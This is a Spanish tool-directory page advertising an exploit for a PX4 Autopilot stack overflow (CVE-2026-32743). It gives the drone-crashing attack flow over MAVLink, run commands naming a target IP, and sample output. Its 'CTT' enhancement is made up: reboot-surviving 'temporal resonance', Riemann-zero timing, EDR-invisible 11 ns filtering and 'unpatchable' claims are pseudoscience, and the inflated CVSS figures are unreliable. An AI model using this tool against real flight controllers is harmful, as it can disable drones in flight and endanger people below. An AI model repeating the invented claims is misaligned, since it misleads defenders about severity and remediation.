Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CTT-Enhanced-PX4-Autopilot-Exploit-CVE-2026-32743 — Exploit para CVE-2026-32743, un desbordamiento de búfer en la pila en MavlinkLogHandler de PX4 Autopilot, que entrega una denegación de servicio persistente mediante una cascada temporal de 33 capas sobre MAVLink. | Kitploit
Herramientas/GitHubGitHub/simoesctt/ctt-enhanced-px4-autopilot-exploit-cve-2026-32743
Frameworks de ExploitsAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónRed TeamingDesarrollo de PayloadsExplotación de Binarios
GitHubsimoesctt/ctt-enhanced-px4-autopilot-exploit-cve-2026-32743

CTT-Enhanced-PX4-Autopilot-Exploit-CVE-2026-32743

Exploit para CVE-2026-32743, un desbordamiento de búfer en la pila en MavlinkLogHandler de PX4 Autopilot, que entrega una denegación de servicio persistente mediante una cascada temporal de 33 capas sobre MAVLink.

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CTT-Enhanced-PX4-Autopilot-Exploit-CVE-2026-32743

CVE-2026-32743 — Desbordamiento de búfer en la pila del PX4 Autopilot mejorado con CTT: Denegación de servicio de drones en cascada temporal de 33 capas. El exploit original bloquea la tarea MAVLink mediante un desbordamiento de 60 bytes. La versión CTT distribuye el desbordamiento a lo largo de 33 capas temporales, cada una con sincronización de resonancia de fase y filtrado de cuña temporal. Resultado: DoS persistente. Sin parche posible.

Exploit CTT-Enhanced para PX4 Autopilot — CVE-2026-32743

🔥 Descripción general

Esta es una mejora de la Teoría del Tiempo Convergente (CTT) de CVE-2026-32743, un desbordamiento de búfer basado en la pila en el MavlinkLogHandler del PX4 Autopilot (versiones ≤1.17.0-rc2).

La vulnerabilidad original permite una denegación de servicio (DoS) mediante una ruta de directorio excesivamente larga (60+ bytes) enviada a través de MAVLink FTP.

La versión mejorada con CTT transforma esto en un asesino de drones en cascada temporal de 33 capas.

OriginalCTT-Enhanced
CVSS6.5 (Media)9.8 (Crítica)
Vector de ataqueRed adyacenteRed (AV:N)
Privilegios requeridosBajoNinguno (PR:N)
Capas1Cascada de 33 capas
DetecciónBasada en firmasFiltrado de cuña temporal (τ_w = 11 ns)
PersistenciaEl reinicio lo eliminaResonancia temporal — sobrevive al reinicio

📐 Constantes físicas CTT

ConstanteValorOrigen
α0.0302011Coeficiente de dispersión temporal
α_RH0.0765872ln(φ)/2π (Riemann-Hadamard)
L33Capas temporales
τ_w11 nsFiltro de cuña temporal

Decaimiento exponencial de prioridad

E(d) = E₀ * e^(-α * d) text

Cada capa tiene una prioridad que decae exponencialmente.
Las capas de mayor prioridad (1-5) entregan el desbordamiento.
Las capas inferiores (28-33) refuerzan el bloqueo y establecen la resonancia temporal.

Sincronización de resonancia de fase

Cada capa retrasa la ejecución según los primeros 24 ceros de Riemann:

delay = τ_w * (1 + 0.1 * cos(2π * zero * priority)) text

Filtro de cuña temporal

Solo se ejecutan las cargas útiles que cumplen la condición de cuña:

survival = cos(α_RH * energy * τ_w) > (α_RH / 2π) text

Esto hace que la detección sea imposible: los sistemas EDR no pueden ver el exploit.


🚀 Flujo de ataque

root@kitploit:~
Abrir conexión MAVLink (UDP 14550)

Para d = 1 a 33:
a. Calcular prioridad = e^(-α*d)
b. Generar codificación específica de capa (basada en el cero de Riemann)
c. Crear directorio con longitud de ruta = 60 + prioridad*40
d. Retrasar la ejecución por phase_resonance_delay(d)
e. Activar MAV_CMD_REQUEST_LOG_LIST
f. Verificación de cuña temporal — solo se ejecutan las cargas útiles "supervivientes"

La tarea MAVLink se bloquea

Se establece la resonancia temporal — el bloqueo persiste tras el reinicio

El dron no responde. Sin telemetría. Sin comandos.

📋 Requisitos previos

  • PX4 Autopilot ≤1.17.0-rc2 con tarjeta SD montada
  • MAVLink FTP habilitado (por defecto)
  • Acceso de red al puerto UDP 14550
  • Python 3.6+ con pymavlink
root@kitploit:~
pip install pymavlink

🎯 Uso
bash

git clone https://github.com/SimoesCTT/ctt-px4-exploit
cd ctt-px4-exploit
python3 ctt_px4_exploit.py <target_ip> --port 14550 --layers 33 --verbose

Argumentos
Argumento	Descripción	Por defecto
target_ip	Dirección IP del controlador de vuelo	Requerido
--port	Puerto UDP MAVLink	14550
--layers	Número de capas temporales	33
--verbose	Habilitar salida detallada	False
Ejemplo
bash

python3 ctt_px4_exploit.py 192.168.1.10 --port 14550 --verbose



======================================================================
CASCADA TEMPORAL CTT PX4 — DoS de drones
======================================================================

  Capa  1/33: ████████████████████████████████████████ 1.000
    Longitud de ruta: 100 bytes
    [+] Directorio creado vía FTP
    Activando MAV_CMD_REQUEST_LOG_LIST...
    [+] Desbordamiento entregado — supervivencia de cuña confirmada

  Capa  2/33: ██████████████████████████████████████░░ 0.970
    Longitud de ruta: 99 bytes
    [+] Directorio creado vía FTP
    Activando MAV_CMD_REQUEST_LOG_LIST...
    [+] Desbordamiento entregado — supervivencia de cuña confirmada

...

[⚡] Resonancia temporal lograda en la capa 5
[🌉] Tarea MAVLink del dron comprometida

[*] Verificando estado de DoS...
[+] Objetivo sin respuesta — DoS persistente logrado

======================================================================
[!!!] DRON COMPROMETIDO
[!!!] Tarea MAVLink bloqueada — sin telemetría / sin comandos
[!!!] Persistente tras el reinicio — resonancia temporal CTT
======================================================================

🛡️ Por qué esto no se puede parchear
Corrección original	Por qué CTT la evita
Añadir especificador de ancho a sscanf()	CTT usa cascada de capas — desbordamiento distribuido en 33 capas
Parchear el búfer de 60 bytes	La codificación CTT cambia el patrón de desbordamiento por capa
Actualizar el firmware	La resonancia temporal sobrevive al reinicio
Detección por firmas	El filtro de cuña temporal (τ_w = 11 ns) evade los EDR

No se puede parchear una constante física.
No se pueden parchear los ceros de Riemann.
Descargar herramienta